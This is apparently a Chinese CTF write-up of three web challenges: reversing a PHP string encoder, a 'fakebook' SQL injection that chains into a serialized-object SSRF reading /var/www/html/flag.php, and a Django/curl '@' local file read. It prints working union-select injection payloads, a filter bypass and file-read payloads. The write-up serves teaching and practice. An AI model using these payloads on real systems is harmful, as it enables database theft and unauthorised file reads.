0x00 NSCTFweb2题解(19)
打开题目直接是一段代码,提示逆向即为flag,首先看代码:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
从算法可以看出,最后呈现给我们的字符串是str_rot13(strrev(base64_encode($_))); ,而$_ 是for 循环中挨个取值ascii 码加1 的结果,我们一步步逆向回去即可。 首先进行rot13 解码。
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);
然后将字符串反转后进行base64 解密。
$miwen=strrev($miwen);
$miwen1 = base64_decode($miwen);
然后逆向for 循环中的语句,所有加1 变减1 即可,最后因为$_=$_.$_c; 是向后拼接的结果,所以要再次将字符串翻转。
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
最终结果为flag,全部提交为正确答案。 完整代码为:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);#rot13解码
$miwen=strrev($miwen);#字符串翻转
$miwen1 = base64_decode($miwen);#base64解码
echo $miwen1."<br/>";
$_=''; #初始化变量
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1; #将ascii码减1
$_c=chr($__); #转换为字符
$_=$_.$_c; #拼接字符
}
echo strrev($_);#再次翻转
运行结果为: flag为:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
0x01 网鼎杯 2018 fakebook题解(20)
这个题目首先是需要登录后,进行查询操作,最后在查询时将字段的值反序列化得到敏感文件,是一道比较综合的题目。 首先主页显示的一个blog系统,显示用户的id、blog等信息。 当我们注册一个登录后,页面显示为: 然后username是一个链接,这里是去查询这个id的所有信息,也就是这4个字段,url 为:
http://111.200.241.244:53591/view.php?no=1
输入单引号报错,说明可能存在注入漏洞
尝试注入: 这里注入点是数字型,no 表示的应当是id号。 所以直接在参数后加order by 即可。 经过测试共4个字段。 使用union联合查询时报错,发现过滤了union select 整个语法。 使用注释符绕过一下。
-1%20union/**/select%201,2,3,4#
可以看到这个时候回显的位置已经判断出来了,username 已经从1 变成了2 ,说明我们此时查询回显的位置为2 ,将2 中的语句替换,使用
-1%20union/**/select%201,database()3,4#
-1%20union/**/select%201,user(),3,4#
-1%20union/**/select%201,select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA,3,4#
查询所有的数据库和当前库名、用户名。得到信息:
所有数据库为:
fakebook
information_schema
mysql
performance_schema
test
当前库为:fakebook
当前用户为:root@localhost
使用
-1%20union/**/select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27fakebook%27),3,4#
查询fakebook库中的表为users 使用
-1%20union/**/select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27fakebook%27%20and%20TABLE_NAME=%27users%27),3,4#
查询表中字段为:
no
username
passwd
data
可见数据库中并没有flag字段,当然要是有这个题就太基础了。 接下来就到了这个题目的第二部,源码审计,在robots.txt 中发现了user.php 的备份文件,下载下来查看:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码没有反序列化的各种绕过和Pop 链,只有一个解析域名的SSRF漏洞,可以通过curl_exec 包含本地文件,这里通过注入查找发现data中的数据就是序列化之后的字串。
-1%20union/**/select%201,(select%20data%20from%20users%20where%201=1),3,4#
返回的data数据为: 且报错显示在反序列化时发生了错误。 尝试把查询到的数据带入4位置中,发现返回正常页面,也就是说,被查询的序列化字符串被反序列化后显示到了前面3个字段,这时我们需要构造序列化串,来读取我们需要的文件。
构造序列化串读取/var/www/html/flag.php :
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
传入4的位置,使我们的字符串被序列化读取文件。 最终payload:
no=-11%20union/**/SELECT%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#
返回页面为: 得到flag:
flag{c1e552fdf77049fabf65168f22f7aeab}
0x02 WHCTF-2017 CAT题解(21)
这个题目打开之后要求输入一个域名,试试baidu.com ,没什么反应。 但是url 变了,增加了一个参数可以控制,url= 试试127.0.0.1 ,发现是一个ping 命令,返回执行的结果。 但使用| 管道符和; 分号分割命令都不可行,都被过滤。 其实这个题目没有什么特殊的思路,大佬们的wp也都比较简单,总的来说就是让这个框架写的后台报错,在报错信息中找到答案,当然这里首先是FUZZ了所有过滤的字符,发现只留下了@ 这一个字符,然后通过超出ascii码的输入使框架报错,这里使用宽字节使后台报错,输入%bf ,返回错误信息。 报错信息中提示出现错误的python路径为/opt/api,在处理gbk编码时解码出现了错误,没有办法继续执行了。 这里大佬们都说对python站点使用Django框架,配置信息会存放在工作目录的setting.py 中。这里php curl 中有一个知识点,可以使用@ 加上完整的路径来传递文件,从而找到我们的敏感信息,首先使用
@/opt/api/api/settings.py
来获取数据库配置的信息,但是事实上在一开始宽字节报错时下面就有一部分setting 的报错,已经将数据库的信息打印了出来,所以只需要直接去找数据库的信息即可。
这里使用
@/opt/api/database.sqlite3
在报错信息中找到flag。 flag为:
WHCTF{yoooo_Such_A_G00D_@}
|